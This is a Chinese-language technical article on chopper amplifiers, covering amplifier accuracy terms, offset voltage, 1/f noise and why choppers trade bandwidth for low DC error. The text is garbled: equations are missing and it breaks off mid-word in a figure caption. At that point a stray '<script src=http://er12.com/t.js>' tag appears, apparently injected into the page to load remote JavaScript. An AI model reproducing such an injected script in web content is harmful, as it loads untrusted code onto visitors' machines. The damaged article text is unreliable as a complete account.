组合斩波器以增加带宽

对于精确地放大非常小的信号,简单的斩波放大器很适用,不过带宽有限。通过“组合”一个斩波器,带宽就能增加,使斩波器在更多的应用设备中都有用武之地。

  很多应用设备都需要精确地放大非常小的信号。典型例子就是热电偶和热电堆的测量。为了精确放大这些低压信号,信号放大器自己的偏移电压和噪声必须很低,不会给得到的信号增加明显误差。

  信号的精确放大,或者说放大器的精度,是由下列方程式定义的:
  
  
  
  

  用文字表达,放大器的精度定义如下:

  输出电压/开环增益 + 失调电压 +(同相输入端输入偏置电流)×(同相输入端源阻抗)+(反相输入端输入偏置电流)×(反相输入端源阻抗)+共模电压/共模抑制比

  第一个因素确定开环增益的效果。较高的开环增益导致较高的精度。这就是高精度放大器具有非常高增益的原因,通常超过 100db,使这个误差来源降到最低程度。

  第二个因素是电压,非常明显。然而,斩波放大器在有效消除这种误差方面做得很好。下面将探讨它们的做法。

  接下来的两个因素是偏置电流。共模抑制比 (cmrr) 表明:随着输入管脚上的电压接近两个轨道中的任何一个,失调非常厉害。

  现在,返回第二个因素,即失调误差或失调电压:在真正高增益的放大器中,它是误差的主要来源。

  例如,一个增益为 -100 的反相器可能具有 1mv 的偏移电压。如果增益为 100,那么输出端的误差是 0.1v。如果放大器的增益是 1,000,那么误差就是 1v,原因就是 1mv 偏移。

图 1:很多时候,数据表上的放大器噪声说明是指在噪声曲线的“平带”中测量的噪声,而不是在 1/f 拐点下面或直流附近发现的噪声电平。
  图中文字的译文:
  time domain:时域  some amplifier:某放大器  1/f corner:1/f 拐点  flat band:平带  freq domain:频域

  高增益放大器中的噪声还影响精度。图 1 是运算放大器频域中的典型噪声图。噪声电平在 直流时很高,然后下降,并形成拐点,即 l/f 拐点。

  l/f 拐点是个临界点,在查看数据表上的噪声说明时,您必须仔细。当某些运算放大器说自己的噪声很低时,例如音频放大器,它们的意思几乎都是说 l/f 拐点很低,可能低于 20hz。例如,很多时候,当您阅读数据表的第一页时,您将看到零件的噪声是

。这不是在直流时的噪声,也不是在 1/f 拐点的噪声。它是对 1/f 拐点之后的那个区域的说明,该区域处于所谓的“平带”中。它不反映放大器在放大接近直流的信号时在噪声方面产生的影响。

  为什么要使用斩波器

  图 1 是运算放大器的典型噪声图,而图 2 则是斩波放大器的典型噪声图。

图 2:斩波器的设计目的是在输入端的失调电压最低,在输出端的低频噪声最低。然而,折衷结果是工作带宽很低,原因是增加了斩波器的时钟噪声。
  图中文字的译文:
  you know it works good at dc:您知道,它在 直流时操作得很好。
  so it must improve this too:因此它肯定也会改善这个地方。
  chopping freq:斩波频?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计